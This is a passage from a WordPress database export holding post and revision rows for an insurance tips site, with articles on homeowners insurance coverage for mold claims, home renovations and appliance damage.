Denied</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">If your homeowners insurance company denies your mold claim, you may want to get a licensed contractor to offer a second opinion on what caused the damage. You could also attempt to appeal the denial with your insurance company if it has a specified appeals process. If not, your state insurance commissioner may be able to offer help on what you can do to get the claim approved or to file a complaint about denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.investopedia.com/does-homeowners-insurance-cover-mold-4782771\">click here</a>.</p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','inherit','closed','closed','','1832-revision-v1','','','2024-05-25 19:39:54','2024-05-25 19:39:54','',1832,'https://smartinsurance.tips/?p=4103',0,'revision','',0),(4104,1,'2024-05-25 19:42:11','2024-05-25 19:42:11','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4105,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-22-1024x1024.png\" alt=\"\" class=\"wp-image-4105\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Key takeaways</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Significant home renovations can impact the value of your home, and you may need to adjust your homeowners insurance accordingly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Adding square footage or valuable upgrades could increase your insurance premium.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Renovations that reduce your risk of a claim, like a roof replacement or new security system, could decrease your premium costs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some carriers offer endorsements, builder\'s risk insurance, to ensure you have enough coverage during the renovation process.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>A home renovation project can be exciting, stressful and all-consuming. Homeowners are likely to consider their project’s budget closely, along with details like design inspiration and a timeline for getting the job done. While there are many important considerations to make, one easy detail to overlook can be how the renovation may change the homeowner’s insurance coverage you need once the project is complete. Even during the renovation process, you may want to boost the coverage that’s in place to cover the worksite and contractors on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance cover renovations?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While homeowners insurance won’t cover new renovations directly, your existing home insurance policy will likely need to be adjusted following the completion of your renovations. If you are planning a small renovation — perhaps some new paint and a set of built-in bookcases in your living room — your homeowners insurance may not be impacted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But larger renovation projects, from a kitchen remodel to finishing your basement, change your home’s overall rebuild value. The dwelling coverage listed on your homeowners insurance policy is based on your home’s estimated rebuild value. Remodeling can affect that value because it is determined by your home’s characteristics, such as square footage, finishings, number of bathrooms and roof type.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, consider a home that is insured for $200,000. The owner upgrades the kitchen: new appliances, granite countertops, custom cabinets — the works. The home’s rebuild value is now $260,000. If a disaster such as a fire destroyed the home, $200,000 in coverage would not be enough to restore the house to its former condition.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can I get renovation insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When undertaking a home renovation project, it’s essential to understand the limitations of standard homeowners insurance and the potential need for additional home renovation insurance. Standard policies typically do not extend full coverage to construction materials and liabilities that arise specifically from renovation activities. Moreover, if a home is vacant during major renovations, standard insurance often falls short, as vacant homes present different risks compared to occupied ones. This is where specific endorsements or additional policies, often referred to as renovation insurance, may become crucial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Builder’s risk insurance:</strong>&nbsp;This can cover construction materials, both on-site and in transit, against risks like theft, fire or weather damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Vacant home insurance:</strong>&nbsp;Standard policies do not typically provide coverage for vacant homes, so if you’re living elsewhere during renovations, you may need this endorsement.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Liability endorsements:</strong>&nbsp;These offer additional financial protection against accidents or injuries that might occur on your property during the renovation process.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Speaking with your insurance agent about the scope of your renovations may help you decide if you need additional coverage during the construction process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Types of renovations that affect homeowners insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The type of renovation you make on your home will impact the rate at which your insurance needs change. In general, anything that increases the value of your home will indicate a need for more insurance coverage, and the corresponding higher premiums that go with it. But that’s not always the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Home additions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Adding an addition is a major renovation project that increases your home’s square footage and will undoubtedly increase your home’s value since square footage is one of the primary factors used in determining your rebuild value. Building a family room on the back of your home, for example, or adding a dormer that increases the space on the second floor, will add value to your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The right time to call your insurer for a home addition is when you are still in the planning stages. Once you have the architectural drawings nailed down, call your insurance representative and let them know what you’re planning. They can review your remodel insurance options and the probable premium increase so that you are fully aware of your costs post renovation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Major renovations and improvements</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although improvement projects such as upgrading your kitchen or bathroom don’t increase your square footage, they can still affect your homeowners insurance policy. Most interior renovations are designed to get rid of old, outdated elements and replace them with new ones. The grade or type of the items used in places like your kitchen and bathroom are usually questions your insurance agent will ask when helping calculate the estimated rebuild of your home. If you have upgraded these rooms, it’s worth a call to your property insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After these renovations, you may want to consider replacement cost value rather than actual cash value if your policy currently does not have this coverage. The former may cost more but will provide additional financial protection for higher-grade home elements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Adding a pool, sauna or hot tub</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although these elements can give you a great deal of satisfaction while adding value to your home, they are also a liability hazard. It’s not hard to see how someone might be hurt — or worse — and insurers need to protect themselves from liability claims when you install one by raising your premium. Your insurer may also require you to install a fence or night-time lighting around any water feature you have on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Updating the roof</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Replacing your roof does add value to your home, and may impact your premium rate, but many insurers provide discounts for a new roof. If you live in a coastal area frequented by hurricanes or wind storms, there may be further discounts if you choose damage-resistant materials for your roof. The result? You may see your rate decrease when you install a new roof on your home. The same is true if you install new locks or tamper-proof windows. Ask your insurance agent if there is a discount for these items.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Adding a home office</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you primarily work from home and find yourself needing a dedicated home office, this renovation project may affect your insurance policy. For example, running a business out of your home where people are coming to your property increases the risk of a liability claim. Because of that, your standard homeowners insurance policy may not provide business-related claims that occur on your property. In addition, if you are storing items on your property that are primarily for business use, your policy might have limited personal property coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">The cost of home renovations</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The change in home insurance when renovating will largely depend on the increased dwelling value of the home. The tricky part is that your home’s value is not based on the market value — which is the price you paid for it or the price it would get on today’s real estate market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insurers use a different value — a replacement cost calculation determined by multiplying your home’s square footage by the cost-per-foot of construction in your region. This includes looking at what it would cost to replace your home in your neighborhood with similar quality materials. Any high-end finishes and top-of-the-line materials your home has are factored into calculation costs as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thus, your home might be worth $200,000 on the market, but your insurer could still recommend that you insure it for $275,000 if construction costs are high. If you insured the home only for the market value, you could find yourself underinsured if the home were destroyed or damaged. On the other hand, if the seller’s market is hot and your home’s market value is significant due to demand, your dwelling insurance coverage could be lower if the estimated rebuild of your home is less than the sellable amount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A handy tool to use when you’re determining your insurance value is an ITV (insurance-to-value) calculator, which industry professionals use to determine if a home is adequately insured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another factor to think about is liability. If your renovations increase your potential liability exposure, you may need higher liability limits. An example of this includes adding attractive nuisances, like a swimming pool. Renovations that increase your liability exposure may also increase your cost of home insurance as your insurer could see you as riskier to insure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to reduce risk during renovations</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although it is important to take a good look at your insurance needs in your renovated home, that is not enough. You should also consider your insurance needs during the renovation, which may differ from your normal insurance needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Additional riders may be needed. </strong> The estimated number of fires in structures under construction has increased since 2014, according to the National Fire Protection Association (NFPA). Because of fire, theft and the other hazards to a home during construction, your insurer may need to add a temporary dwelling under construction rider to your policy to cover contingencies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>A new policy type may be needed</strong>. If you are completing a major renovation that requires you to leave the home and live elsewhere for an extended period, you may need to update your policy to a vacant home policy, which can protect your property while you are away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Review existing policy limits. </strong>If you are doing the remodeling yourself or in conjunction with friends or family, talk to your agent about any limitations with your personal liability and medical payments coverage. If you are hiring a contractor, most of them have their own coverage if one of their workers is injured on the job. However, you will want to confirm this before any work starts. If you are working on it yourself or with other non-professionals, the right coverage is vital.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In general, during construction, your homeowners insurance should cover you for any faulty work or defective materials used in the building process. It is worth double-checking this with your insurer before work starts to be sure you are covered. What is also important to remember is completing work that adheres to safety standards is crucial. If renovating your plumbing or electrical, for example, following the right guidelines is necessary to reduce the risk of your property not being covered in the event of a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/homeowners-insurance/home-insurance-during-renovations/#how-to-reduce-risk-during-renovations\">click here</a>.</p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Renovations?','','publish','closed','closed','','does-homeowners-insurance-cover-renovations','','','2024-05-25 19:42:13','2024-05-25 19:42:13','',0,'https://smartinsurance.tips/?p=4104',0,'post','',0),(4105,1,'2024-05-25 19:41:00','2024-05-25 19:41:00','','Untitled-22','','inherit','closed','closed','','untitled-22-6','','','2024-05-25 19:41:00','2024-05-25 19:41:00','',4104,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-22.png',0,'attachment','image/png',0),(4106,1,'2024-05-25 19:42:11','2024-05-25 19:42:11','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4105,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-22-1024x1024.png\" alt=\"\" class=\"wp-image-4105\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Key takeaways</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Significant home renovations can impact the value of your home, and you may need to adjust your homeowners insurance accordingly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Adding square footage or valuable upgrades could increase your insurance premium.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Renovations that reduce your risk of a claim, like a roof replacement or new security system, could decrease your premium costs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some carriers offer endorsements, builder\'s risk insurance, to ensure you have enough coverage during the renovation process.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>A home renovation project can be exciting, stressful and all-consuming. Homeowners are likely to consider their project’s budget closely, along with details like design inspiration and a timeline for getting the job done. While there are many important considerations to make, one easy detail to overlook can be how the renovation may change the homeowner’s insurance coverage you need once the project is complete. Even during the renovation process, you may want to boost the coverage that’s in place to cover the worksite and contractors on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance cover renovations?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While homeowners insurance won’t cover new renovations directly, your existing home insurance policy will likely need to be adjusted following the completion of your renovations. If you are planning a small renovation — perhaps some new paint and a set of built-in bookcases in your living room — your homeowners insurance may not be impacted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But larger renovation projects, from a kitchen remodel to finishing your basement, change your home’s overall rebuild value. The dwelling coverage listed on your homeowners insurance policy is based on your home’s estimated rebuild value. Remodeling can affect that value because it is determined by your home’s characteristics, such as square footage, finishings, number of bathrooms and roof type.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, consider a home that is insured for $200,000. The owner upgrades the kitchen: new appliances, granite countertops, custom cabinets — the works. The home’s rebuild value is now $260,000. If a disaster such as a fire destroyed the home, $200,000 in coverage would not be enough to restore the house to its former condition.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can I get renovation insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When undertaking a home renovation project, it’s essential to understand the limitations of standard homeowners insurance and the potential need for additional home renovation insurance. Standard policies typically do not extend full coverage to construction materials and liabilities that arise specifically from renovation activities. Moreover, if a home is vacant during major renovations, standard insurance often falls short, as vacant homes present different risks compared to occupied ones. This is where specific endorsements or additional policies, often referred to as renovation insurance, may become crucial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Builder’s risk insurance:</strong>&nbsp;This can cover construction materials, both on-site and in transit, against risks like theft, fire or weather damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Vacant home insurance:</strong>&nbsp;Standard policies do not typically provide coverage for vacant homes, so if you’re living elsewhere during renovations, you may need this endorsement.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Liability endorsements:</strong>&nbsp;These offer additional financial protection against accidents or injuries that might occur on your property during the renovation process.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Speaking with your insurance agent about the scope of your renovations may help you decide if you need additional coverage during the construction process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Types of renovations that affect homeowners insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The type of renovation you make on your home will impact the rate at which your insurance needs change. In general, anything that increases the value of your home will indicate a need for more insurance coverage, and the corresponding higher premiums that go with it. But that’s not always the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Home additions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Adding an addition is a major renovation project that increases your home’s square footage and will undoubtedly increase your home’s value since square footage is one of the primary factors used in determining your rebuild value. Building a family room on the back of your home, for example, or adding a dormer that increases the space on the second floor, will add value to your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The right time to call your insurer for a home addition is when you are still in the planning stages. Once you have the architectural drawings nailed down, call your insurance representative and let them know what you’re planning. They can review your remodel insurance options and the probable premium increase so that you are fully aware of your costs post renovation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Major renovations and improvements</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although improvement projects such as upgrading your kitchen or bathroom don’t increase your square footage, they can still affect your homeowners insurance policy. Most interior renovations are designed to get rid of old, outdated elements and replace them with new ones. The grade or type of the items used in places like your kitchen and bathroom are usually questions your insurance agent will ask when helping calculate the estimated rebuild of your home. If you have upgraded these rooms, it’s worth a call to your property insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After these renovations, you may want to consider replacement cost value rather than actual cash value if your policy currently does not have this coverage. The former may cost more but will provide additional financial protection for higher-grade home elements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Adding a pool, sauna or hot tub</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although these elements can give you a great deal of satisfaction while adding value to your home, they are also a liability hazard. It’s not hard to see how someone might be hurt — or worse — and insurers need to protect themselves from liability claims when you install one by raising your premium. Your insurer may also require you to install a fence or night-time lighting around any water feature you have on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Updating the roof</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Replacing your roof does add value to your home, and may impact your premium rate, but many insurers provide discounts for a new roof. If you live in a coastal area frequented by hurricanes or wind storms, there may be further discounts if you choose damage-resistant materials for your roof. The result? You may see your rate decrease when you install a new roof on your home. The same is true if you install new locks or tamper-proof windows. Ask your insurance agent if there is a discount for these items.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Adding a home office</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you primarily work from home and find yourself needing a dedicated home office, this renovation project may affect your insurance policy. For example, running a business out of your home where people are coming to your property increases the risk of a liability claim. Because of that, your standard homeowners insurance policy may not provide business-related claims that occur on your property. In addition, if you are storing items on your property that are primarily for business use, your policy might have limited personal property coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">The cost of home renovations</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The change in home insurance when renovating will largely depend on the increased dwelling value of the home. The tricky part is that your home’s value is not based on the market value — which is the price you paid for it or the price it would get on today’s real estate market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insurers use a different value — a replacement cost calculation determined by multiplying your home’s square footage by the cost-per-foot of construction in your region. This includes looking at what it would cost to replace your home in your neighborhood with similar quality materials. Any high-end finishes and top-of-the-line materials your home has are factored into calculation costs as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thus, your home might be worth $200,000 on the market, but your insurer could still recommend that you insure it for $275,000 if construction costs are high. If you insured the home only for the market value, you could find yourself underinsured if the home were destroyed or damaged. On the other hand, if the seller’s market is hot and your home’s market value is significant due to demand, your dwelling insurance coverage could be lower if the estimated rebuild of your home is less than the sellable amount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A handy tool to use when you’re determining your insurance value is an ITV (insurance-to-value) calculator, which industry professionals use to determine if a home is adequately insured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another factor to think about is liability. If your renovations increase your potential liability exposure, you may need higher liability limits. An example of this includes adding attractive nuisances, like a swimming pool. Renovations that increase your liability exposure may also increase your cost of home insurance as your insurer could see you as riskier to insure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to reduce risk during renovations</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although it is important to take a good look at your insurance needs in your renovated home, that is not enough. You should also consider your insurance needs during the renovation, which may differ from your normal insurance needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Additional riders may be needed. </strong> The estimated number of fires in structures under construction has increased since 2014, according to the National Fire Protection Association (NFPA). Because of fire, theft and the other hazards to a home during construction, your insurer may need to add a temporary dwelling under construction rider to your policy to cover contingencies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>A new policy type may be needed</strong>. If you are completing a major renovation that requires you to leave the home and live elsewhere for an extended period, you may need to update your policy to a vacant home policy, which can protect your property while you are away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Review existing policy limits. </strong>If you are doing the remodeling yourself or in conjunction with friends or family, talk to your agent about any limitations with your personal liability and medical payments coverage. If you are hiring a contractor, most of them have their own coverage if one of their workers is injured on the job. However, you will want to confirm this before any work starts. If you are working on it yourself or with other non-professionals, the right coverage is vital.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In general, during construction, your homeowners insurance should cover you for any faulty work or defective materials used in the building process. It is worth double-checking this with your insurer before work starts to be sure you are covered. What is also important to remember is completing work that adheres to safety standards is crucial. If renovating your plumbing or electrical, for example, following the right guidelines is necessary to reduce the risk of your property not being covered in the event of a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/homeowners-insurance/home-insurance-during-renovations/#how-to-reduce-risk-during-renovations\">click here</a>.</p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Renovations?','','inherit','closed','closed','','4104-revision-v1','','','2024-05-25 19:42:11','2024-05-25 19:42:11','',4104,'https://smartinsurance.tips/?p=4106',0,'revision','',0),(4107,1,'2024-05-25 19:44:59','2024-05-25 19:44:59','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4108,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-23-1024x1024.png\" alt=\"\" class=\"wp-image-4108\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>The personal property portion of your insurance policy applies to the contents of your home, but whether home insurance covers your appliances will depend on the nature of the damage. While damage from covered losses like fires is typically included in a homeowners insurance policy, natural wear and tear or breakdowns, like a decade-old refrigerator malfunctioning, usually aren’t covered. For more robust financial protection for your home’s appliances, consider a home warranty or adding equipment breakdown coverage to your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners insurance policies provide financial protection for the physical structure of your home, as well as the personal belongings inside, including appliances. However, appliances are generally covered under the personal property portion of your insurance, and standard HO-3 policies only cover personal property on a named perils basis. This means that your insurance policy lists covered causes of damage that your personal property is financially protected against. These typically include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Fire, lightning or smoke:</strong> Your appliances are typically covered if damage results from lightning, volcanoes or fires. This includes damage from smoke, which can affect air circulation systems like forced air heating. Some policies in wildfire-prone regions may not cover damage from wildfires, so you’ll want to double-check your policy details.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Wind and hail:</strong> This includes damage from windstorms, hail and the weight of ice, snow or sleet. For example, if a section of your roof caves in after heavy snowfall and damages your washer and dryer, these appliances would likely be covered as long as the weight of ice and snow is a named peril in your policy. It’s important to note that flood damage is not included under standard HO-3 policies — separate flood insurance is required.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Explosions:</strong>&nbsp;Appliance damage caused by explosions, whether they originate inside or outside of the home, is typically covered. This may include damage caused by aircraft or vehicles.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Civil commotion, vandalism, malicious mischief or theft:</strong>&nbsp;Your appliances are likely to be financially protected from damages or losses caused by intentional harm or theft. For instance, if someone breaks into your home and damages your appliances while looking for valuables, your policy will usually cover this damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden steam or water discharge:</strong>&nbsp;Sudden and accidental water or steam discharge or malfunction of a steam or hot water heating system is normally covered by personal property coverage. However, gradual damage or neglect, such as a slow leak leading to mold, is excluded from standard policies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Freezing:</strong>&nbsp;Your appliances are generally covered against damage from freezing conditions. This may include damage to your plumbing or air systems caused by a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden artificially generated electrical current:</strong> Unexpected electrical surges can harm your electronics. This peril is generally covered by personal property insurance, but if your home contains a considerable number of high-value electronics or other items, discuss this with your insurance agent to ensure adequate coverage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are some instances where your insurance will not cover appliances, and it’s a good idea to be aware of them before you’re faced with unexpected repair bills. If your personal property coverage has named perils, any source of damage not included on the list of named perils typically will not be covered. These might include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Age-related breakdowns:</strong>&nbsp;Old appliance breakdowns aren’t covered by standard home insurance policies. If you’ve had an appliance for more than a few years and it stops working for a reason other than a named peril, you’re likely on your own for repairs or replacement.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Lack of maintenance:</strong>&nbsp;Regular maintenance is crucial for appliance longevity. If your appliance damage is caused by lack of maintenance, your home insurance will not normally cover it. You may want to refer to your appliance owners manual to make sure you’re performing the recommended maintenance for each.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Flooding:</strong> Standard HO-3 policies don’t provide coverage for flood-related damages. For flood coverage, you can explore policies from private insurers or the National Flood Insurance Program.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Earthquakes:</strong> A standard home insurance policy does not cover damage caused by earthquakes. However, if your appliances are damaged in a fire that occurred after an earthquake, that would likely be covered. Similar to flood insurance, homeowners in earthquake-prone regions can purchase earthquake insurance as an endorsement or standalone policy, depending on their location.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sewer backup:</strong> If your appliances are damaged by standing sewage that overflows from your home’s sewer line, you would likely not get help from your home insurance company for repairs unless you purchase a water backup endorsement.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Home insurance for appliances</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance does not cover appliances in instances outside of what is specifically listed in your policy. As such, you may want to purchase a home warranty, an appliance warranty, equipment breakdown coverage or insure your belongings at replacement cost value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Home warranty coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home warranty programs are not the same as home insurance. They typically cover specific systems and usually focus on routine breakdowns and malfunctions. This coverage is more like a service contract that covers your appliances and home systems (plumbing, electrical, HVAC) from damage caused by regular wear and tear and age. To note, you can have an HO-3 home insurance policy and a home warranty — the coverage types are different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A home warranty generally costs between $20 and $150 a month, and you are often able to pick and choose what you’d like covered. If you purchase a newly built home, you might have a home warranty from the builder. This is different from a home warranty policy, but the coverage may look similar.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Appliance warranties</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home appliances can be expensive, but when you purchase a new appliance, you typically have the option to add a manufacturer warranty. This warranty may even be included for free for the first year of the machine’s life. Manufacturer warranties may provide peace of mind should your new appliance break down shortly after you buy it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 